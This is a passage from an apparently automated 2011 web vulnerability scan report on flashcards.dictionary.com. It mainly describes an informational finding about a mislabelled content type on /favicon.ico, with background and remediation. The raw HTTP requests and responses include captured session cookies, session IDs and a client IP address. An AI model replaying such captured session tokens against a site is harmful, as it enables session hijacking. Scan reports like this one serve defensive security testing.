Proxy-Connection: keep-alive
Referer: http://flashcards.dictionary.com/?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; bid=TYeqb0LreVxhb%2F7Z; sid=TYt%2FmELreURtnPE+; wz_uid=0145D38ABB7CF7CFC0A8DECE14D761F3; wz_sid=0A4BD283B57CF7CFC0A8DECE14D761F3; wz_scnt=1; mp_super_properties=%7B%22all%22%3A%20%7B%22logged_in%22%3A%200%7D%2C%22events%22%3A%20%7B%7D%2C%22funnels%22%3A%20%7B%7D%7D; __switchTo5x=7; __unam=af928ed-12ee8ebc865-11d4cc98-1; __utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.901727063.1300987844.1300987844.1300987844.1; __utmc=1; __utmb=1.2.10.1300987844

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Thu, 24 Mar 2011 17:31:34 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: fc_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22c040bc87e60c5e568981b6aea7df3b10%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987894%22%3B%7D7edc3ee6098814b47eb61f4dcb70538b; expires=Thu, 24-Mar-2011 19:31:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: fc_session=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=TYeqb0LreVxhb%2F7Z; expires=Sat, 23-Mar-2013 17:31:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=TYt%2FmELreURtnPE+; expires=Thu, 24-Mar-2011 18:01:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: fc_session=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:34 GMT; path=/; domain=.dictionary.com
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: keep-alive
Content-Length: 12058

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"
xmlns:fb="http://www.facebook.com/2010/fbml"
xmlns:og="http://openg
...[SNIP]...
</script>
<script type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script>
...[SNIP]...

6. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://flashcards.dictionary.com
Path:   /favicon.ico

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /favicon.ico HTTP/1.1
Host: flashcards.dictionary.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; bid=TYeqb0LreVxhb%2F7Z; sid=TYt%2FmELreURtnPE+; wz_uid=0145D38ABB7CF7CFC0A8DECE14D761F3; wz_sid=0A4BD283B57CF7CFC0A8DECE14D761F3; wz_scnt=1; mp_super_properties=%7B%22all%22%3A%20%7B%22logged_in%22%3A%200%7D%2C%22events%22%3A%20%7B%7D%2C%22funnels%22%3A%20%7B%7D%7D; __switchTo5x=7; __unam=af928ed-12ee8ebc865-11d4cc98-1; __utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.901727063.1300987844.1300987844.1300987844.1; __utmc=1; __utmb=1.2.10.1300987844

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/plain; charset=UTF-8
Date: Thu, 24 Mar 2011 17:31:28 GMT
ETag: "a031d34-13e-783b700"
Last-Modified: Fri, 17 Dec 2010 00:12:44 GMT
Server: Apache/2.2.3 (CentOS)
Content-Length: 318
Connection: keep-alive

..............(.......(....... .............................................................k...R...B..{9...1..k!..s...k........gx.C...."".    ............v ....v "g.....i..........@.....%......".Py....
...[SNIP]...

Report generated by XSS.CX at Thu Mar 24 12:52:57 CDT 2011.